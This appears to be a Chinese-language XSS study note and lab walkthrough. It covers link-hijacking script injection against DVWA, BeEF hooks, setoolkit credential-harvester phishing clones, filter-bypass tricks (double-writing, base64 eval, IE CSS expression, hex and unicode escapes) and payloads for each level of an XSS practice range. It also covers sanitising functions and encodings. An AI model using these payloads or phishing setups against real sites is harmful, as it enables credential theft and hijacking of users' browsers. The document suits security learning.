XSS
篡改连接JS
代码1
2
3
4
5
6<script>
window.onload=function(){ /*当窗口加载时执行匿名代码*/
var link=document.getElementsByTagName("a"); /*html中,<a> 标签是超链接标签*/
for(i=0;i<link.length;i++) link[i].href="http://noone40404.github.io";
}
</script>直接在输入框中提交,所有的连接都指向的我的博客
而针对没有输入框的网站,我们需要构造一个
url
,即1
2
3
4
5
6http://[ip]/dvwa/vulnerabilities/xss_r/?name=<script>
window.onload=function(){ /*当窗口加载时执行匿名代码*/
var link=document.getElementsByTagName("a"); /*html中,<a> 标签是超链接标签*/
for(i=0;i<link.length;i%2B%2B) link[i].href="http://noone40404.github.io";
}
</script>值得注意的是,浏览器会在本地将空格转义为
+
号,所以会导致死循环,解决方案是使用转义后的加号%2B
恶意网页创建
beef-xss
生成对应hook,默认账号是beef
,密码自己设定先看下
ip
打开
apache2
,在/var/www/html/index.html
中加入上面给的代码此时再访问
http://[ip]/index.html
时,beef
后台能看到我们的机器beef
能做很多事情,以后再说。如此就创建好一个恶意网页篡改连接
将创建好的恶意网站与构造的
url
结合
XSS
盗取用户信息原理与创建
setoolkit
克隆一个与存在XSS
漏洞网站的登陆网站相同的页面Social engineering Attacks-Website Attack Vectors-Credential Harvester Attack Method-Site Cloner
钓鱼网站页面默认为本机网卡
ip
, 再输入所克隆网站网址在钓鱼网站中输入的信息被成功截获
将该网址与上面的
xss
恶意代码结合即可
提交
XSS
构造一个独一无二且不会被识别为恶意代码的字符串提交
然后进行代码审查,寻找字符串是否在页面中显示
查看前后标签,在
payload
前提前闭合这里就需要闭合双引号
"
以及加粗标签</b>
对于存在输入长度限制的,
F12
改maxlength
即可html
事件浏览器内置的事件处理器能监视诸如单击鼠标等用户行为,通过
JS
可以将事件处理器作为属性给特定标签,并在事件发生时执行JS
命令或函数onclick
与ondblclick
是较常用的处理器,能在单击/双击鼠标时运行脚本onmouseover
在鼠标移动至元素之上时运行脚本例:
1
onmouseover=alert("xss")
注意引号闭合
空格属性探测
输入空格时,可以发现空格后的被转成标签
在加个等于号,发现等号后的自动加上了双引号,则此时
xss
代码就不需要双引号JS
伪协议将
JS
代码放在javascript:
后的url
中,可以将其添加到客户端。该协议声明了url
的主体是任意的JS
代码,含有多个语句时用分号隔开,例1
javascript:alert("xss");
xss
绕过 $1$最简单的将识别到的关键词替换为空
- 双写
编码
1
eval(atob('[base64_code]'));
eval
函数返回括号内字符串运行结果atob
解码base64
xss
绕过 $2$对于所有
script
标签,加上x
变成xscript
先尝试伪协议绕过,但是发现被转换成了
javaxscript
结合空格,躲开关键词检索,即
javascr ipt
IE
特性绕过 $1$输入时屏蔽了双引号
一个仅存在于
IE
中的特性是两个'
可以闭合左边的双引号,其余同上IE
特性绕过 $2$对输入的字符进行转义,使无法用
"
和>
直接闭合另一个存在于
IE
中的特性是可以用css
命令中包含JS
代码,格式如下:1
background:url("javascript:alert("xss");");
IE
特性绕过 $3$css
中expression
可以将css
属性与JS
代码关联起来,即expression([JS_code])
。而前端过滤名单中有expression
,考虑用注释符/**/
破坏字符完整性,例:1
xss.expre/**/ssion(if(!window.x){alert("xss"); window.x=1;})
这里最前面的
xss
可以理解为函数名,自定即可。window.x
声明了一个全局窗口变量,默认为 $0$ ,而最后将其改为 $1$ 是防止该代码反复执行$16$ 进制绕过
同样面临着
<
被转义,字符串为value
类型的情况,而且对于单个\
会进行替换可以用 $16$ 进制对尖括号进行转义得到
\x3c
与\x3e
如此可以构造
payload
:1
\\x3cscript\\x3e alert("xss");\\x3c/script\\x3e
unicode
绕过不能用 $16$ 进制转换尖括号了,可以用
unicode
试试\u003c
与\u003e
源与同源
源包含了协议,主机号与端口号,严格遵循 协议://主机号:端口
仅当三者完全相同时,才认定为属于同源,例:
http://www.qwq.com
与https://www.qwq.com
不是同一源而对于不同源,存在同源策略,阻止一个源上的恶意代码访问另一个源上的资源
特殊的是,对于
IE
存在互信域,域中可以相互访问并且
IE
在判断同源时不考虑端口关于
document.domain
domain
属性可以进行降域,因为同源策略认为域与子域并非同源,而设置他们的document.domain
可以使浏览器认为他们为同一域
xss-filter
过滤器htmlspecialchars()
/htmlentities
将预定义的字符
&,",',<,>
转换为html
实体,例1
2
3$str="<script>alert("xss");</script>";
$new_str=htmlspecialchars($str);
echo $new_str;并不会跳出弹窗,而是显示
1
<script> alert("xss") </script>
strip_tags()
移除原字符串中的
html,xml,php
标签,如上例,会输出1
alert("xss");
编码转义
url
编码考虑到传输问题,选用了较小且通用的安全字母表。而
url
需要包含不在表内的二进制数据与字符,所以url
存在转义机制将不安全的字符编码为安全字符再传输其形式是
%[xx]
,后跟两位表示字符ASCII
码的十六进制数html
编码某些字符出现在值中时不安全,例如
<>
会被误认为标签,所以html
重新编码后可以正确显示这些字符分为实体编码与进制编码
实体编码以
&
开头,将标签<
转为实体<
进制编码以
&#
开头,加上字符的数值,其可以是十进制ASCII
码或者Unicode
编码JS
编码在
\u
后面加 $4$ 位十六进制数字,或者\x
后加 $2$ 位十六进制数字,按字符的unicode
编码,不足位数用 $0$ 填充
payload
与自动化kali
下自带payload
字典,位于/usr/share/wordlist/wfuzz/Injections
用
burpsuite-intruder
即可XSS
注入位置GET
型在
url
中出现的提交参数出现在页面中POST
型在表单中提交的参数出现在页面中
JSON
型提交数据出现在封闭的
<script></script>
中自定义
http
头型对于
burp
抓包,手动加入http
头的内容,当显示在页面上时
靶场内容:
level2
<
被转义成html
实体但看下面,
value
处没有过滤,那么这就是注入点,闭合value
即可1
?keyword="><script>alert("")</script>
level3
value
处也被转义,但可以发现括号没有,用不带<
的命令尝试注意引号的闭合,由于
value
前后都是单引号,有payload
1
'onmouseover='alert()
闭合结果如下:
level4
看一下过滤,尖括号转义,
value
处是删去尖括号如上一题即可,注意要闭合的引号是双引号
level5
关键词被添加了下划线,大小写失效
挨个试一下常用的
xss
语句:1
2
3
4<script> alert(1) </script>
<img src= οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>发现最后一个超链接没有被过滤
再闭合前面的括号即可
level6
仍是过滤了大部分函数,但经测试都可以用大小写绕过
level7
<script>
被过滤为<>
,自然想到双写绕过level8
仍是关键词加下划线,尝试绕过判断,用上面提过的编码:
1
javascript:alert()
t=t
level9
前端返回的结果是链接不合法,测试结果是必须包含
http://
才会被接受,所以可以将其放在最后并注释1
javascript:alert()//http://
level10
看源码发现有三个隐藏的值,分别向其中输入参数,
发现只有
t_sort
有显示注入过程发现尖括号被吞了
用
onclick
或者onmouseover
,注意这里页面上是没有t_sort
的,需要手动添加一个type
使其可以被点击1
" onmouseover=alert() type="text"
level11
四个隐藏值还是只有
t_sort
能用,但过滤了双引号,用十六进制转换没用但注意
t_ref
,联想到referer
头,hackbar
传一下发现可行payload
与上题一样即可level12
同理
hackbar
改UA
即可,注意要保留原始UA
否则会被服务器拒绝level13
同理要提交
cookie
,但没有用户名,burp
抓包找一下那么要上传的
cookie
即为1
user=call+me+maybe " onmouseover=alert() type="text"
level14
这关调用的
exifviewer
已经失效了,但可以复现一下这针对于读取
exif
图片文件信息的网站,将图片的的exif
信息改为恶意代码,上传后网站会读取并执行该代码level15
没看懂
level16
替换
script
且无法绕过,尝试可以用<img src
绕过空格也被替换,使用
url
编码表1
<img%0asrc=""%0aonerror=alert()>
level17-20
没
flash
做不了